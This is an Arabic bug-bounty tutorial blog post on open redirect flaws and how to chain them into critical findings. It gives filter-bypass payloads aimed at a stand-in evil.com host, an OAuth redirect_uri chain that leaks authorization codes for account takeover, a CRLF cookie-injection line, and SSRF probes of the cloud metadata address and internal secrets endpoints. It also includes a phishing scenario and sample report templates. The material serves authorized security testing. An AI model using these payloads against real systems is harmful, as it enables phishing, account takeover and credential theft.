ثغرات Open Redirect في Bug Bounty: من Low إلى Critical عبر Chaining
4 أكتوبر 2026 · بواسطة Pentevo
Open Redirect هي ثغرة يُعيد فيها التطبيق توجيه المستخدم لأي URL يُحدده المهاجم. بمفردها قيمتها منخفضة — لكن مع بناء سلسلة من الثغرات (Vulnerability Chaining) تتحول لـ Critical مدفوع.
كيف تعمل Open Redirect
URL عادي:
https://example.com/login?redirect=/dashboard
مهاجم يُعدّله:
https://example.com/login?redirect=https://evil.com/phishing
→ بعد تسجيل الدخول، يُحوَّل المستخدم لـ evil.com تلقائيًا
أين تبحث عن Open Redirect
في URL Parameters
?redirect=
?next=
?url=
?return=
?returnUrl=
?callback=
?continue=
?go=
?goto=
?dest=
?destination=
?redir=
?returnTo=
?return_path=
?forward=
في OAuth Flow
https://example.com/oauth/authorize?
client_id=APP&
redirect_uri=https://example.com/callback ← هذا المكان الأهم!
في Header Location
HTTP/1.1 302 Found
Location: https://ATTACKER_CONTROLLED_URL
Payloads للـ Bypass
Bypass بسيط
https://example.com/redirect?url=https://evil.com
Bypass لفلتر يتحقق من الـ Domain
# Double slash
?url=//evil.com
# Protocol-relative
?url=//evil.com/path
# @domain trick
?url=https://example.com@evil.com/path
# Subdomain trick
?url=https://evil.com.example.com (إذا كان الفلتر يبحث عن .example.com فقط)
# Path traversal
?url=https://example.com/../../../evil.com
# Fragment bypass
?url=https://example.com#https://evil.com
# URL encoding
?url=https:%2F%2Fevil.com
?url=https://evil%2Ecom
Bypass لفلتر يتحقق من البداية
# إذا كان يتحقق أن URL يبدأ بـ https://example.com
?url=https://example.com.evil.com # يبدأ بـ example.com !
?url=https://example.com%2F@evil.com
Vulnerability Chaining: رفع الـ Open Redirect لـ Critical
Chain 1: Open Redirect + OAuth → Account Takeover
هذا الـ Chain يصل لـ Critical ويُدفع عليه آلاف الدولارات:
1. التطبيق يستخدم OAuth (تسجيل دخول بـ Google/Facebook)
2. الـ OAuth URL:
https://example.com/oauth?
client_id=APP&
redirect_uri=https://example.com/callback
3. إذا كانت Open Redirect موجودة على example.com:
https://example.com/redirect?url=https://evil.com
4. الـ Chain:
https://example.com/oauth?
client_id=APP&
redirect_uri=https://example.com/redirect%3Furl%3Dhttps://evil.com
5. الضحية يُوافق على OAuth
6. Authorization Code يُرسَل لـ evil.com
7. المهاجم يستخدمه لسرقة الحساب!
Chain 2: Open Redirect + XSS Header Injection
# إذا كان الـ Location Header يُعكس المدخل مباشرة:
Location: https://example.com\r\nSet-Cookie: session=EVIL
# HTTP Response Splitting → Cookie Injection
Chain 3: Open Redirect + SSRF
# إذا كانت الـ redirect تسمح بـ internal IPs:
?url=http://169.254.169.254/latest/meta-data/
?url=http://localhost/admin
?url=http://internal-service/api/secrets
كيف تُحوّل Open Redirect لـ Phishing Attack
سيناريو:
1. أرسل للضحية:
https://trusted-bank.com/login?redirect=https://evil-phishing.com
2. الضحية يرى URL يبدأ بـ trusted-bank.com → يثق
3. بعد "تسجيل الدخول" يُحوَّل لصفحة Phishing مطابقة
4. بيانات دخوله تُسرق
توثيق Open Redirect في Bug Bounty
إرسال Open Redirect بسيطة:
Title: Open Redirect in /redirect endpoint
Severity: Low (or Medium if exploitable for phishing)
Steps to Reproduce:
1. Visit: https://example.com/redirect?url=https://evil.com
2. Observe: Browser is redirected to evil.com
Impact:
Can be used for Phishing attacks by sending users a link that
appears to be from example.com but redirects to a malicious site.
إرسال Open Redirect مع OAuth Chain:
Title: Open Redirect in /redirect combined with OAuth leads to Account Takeover
Severity: Critical
[شرح تفصيلي للـ Chain + PoC Video]
الخلاصة
Open Redirect بمفردها تُقدّر بـ Low. لكن مع بناء السلسلة الصحيحة — خاصةً مع OAuth — تصبح Critical وتُدفع عليها آلاف الدولارات. ابحث دائمًا عن فرصة الـ Chaining بدلًا من إرسال كل ثغرة منفردة.
الأسئلة الشائعة
هل Open Redirect تُقبل في برامج Bug Bounty؟
نعم في معظم البرامج لكن بمكافأة Low أو Informational. ترتفع المكافأة بشكل كبير عند ربطها بثغرات أخرى مثل OAuth Account Takeover أو Phishing.
ما أفضل طريقة لرفع قيمة Open Redirect؟
الأفضل: ربطها بـ OAuth flow لتحقيق Account Takeover. إذا كان الـ redirect_uri لا يُتحقق منه بشكل صارم في OAuth = High أو Critical مباشرة.
ما الفرق بين Open Redirect وSSRF؟
Open Redirect: تُعيد توجيه المستخدم (Browser) لـ URL خارجي. SSRF: تُجبر الخادم على الاتصال بـ URL خارجي. كلاهما يبدأ بـ URL manipulation لكن الهدف مختلف.
مقالات ذات صلة
اختبار اختراق APIs: الدليل العملي لـ Bug Bounty في 2026
كيف تختبر REST APIs وGraphQL وgRPC في Bug Bounty: منهجية شاملة من Fuzzing الـ Endpoints إلى IDOR وBroken Authentication وInjection.
bug-bountyكيف تكتب Writeup Bug Bounty يجذب القراء ويعزز سمعتك
دليل كتابة Writeups احترافية لثغرات Bug Bounty: البنية الصحيحة، كيف تقدّم الثغرة بإبداع، ولماذا Writeups تُضاعف دخلك وفرص عملك.
bug-bountyشرح Bugcrowd للمبتدئين: كيف تبدأ وتختار البرنامج الصحيح
دليل شامل لمنصة Bugcrowd: التسجيل، الفرق عن HackerOne، أفضل البرامج للمبتدئين، نظام Trust وPoints، وكيف تستفيد من Crowdstream.
bug-bountyثغرات Command Injection: من الاكتشاف إلى RCE الكامل
دليل شامل لثغرات OS Command Injection: كيف تعمل، أين تظهر، Payloads عملية، تقنيات Out-of-Band Detection، وكيف توثّقها في Bug Bounty.
طبّق هذا عمليًا
أكاديمية Pentevo تحوّل هذه المفاهيم إلى دروس موجّهة وفيديوهات واختبارات — مجانًا.
ابدأ التعلّم مجانًا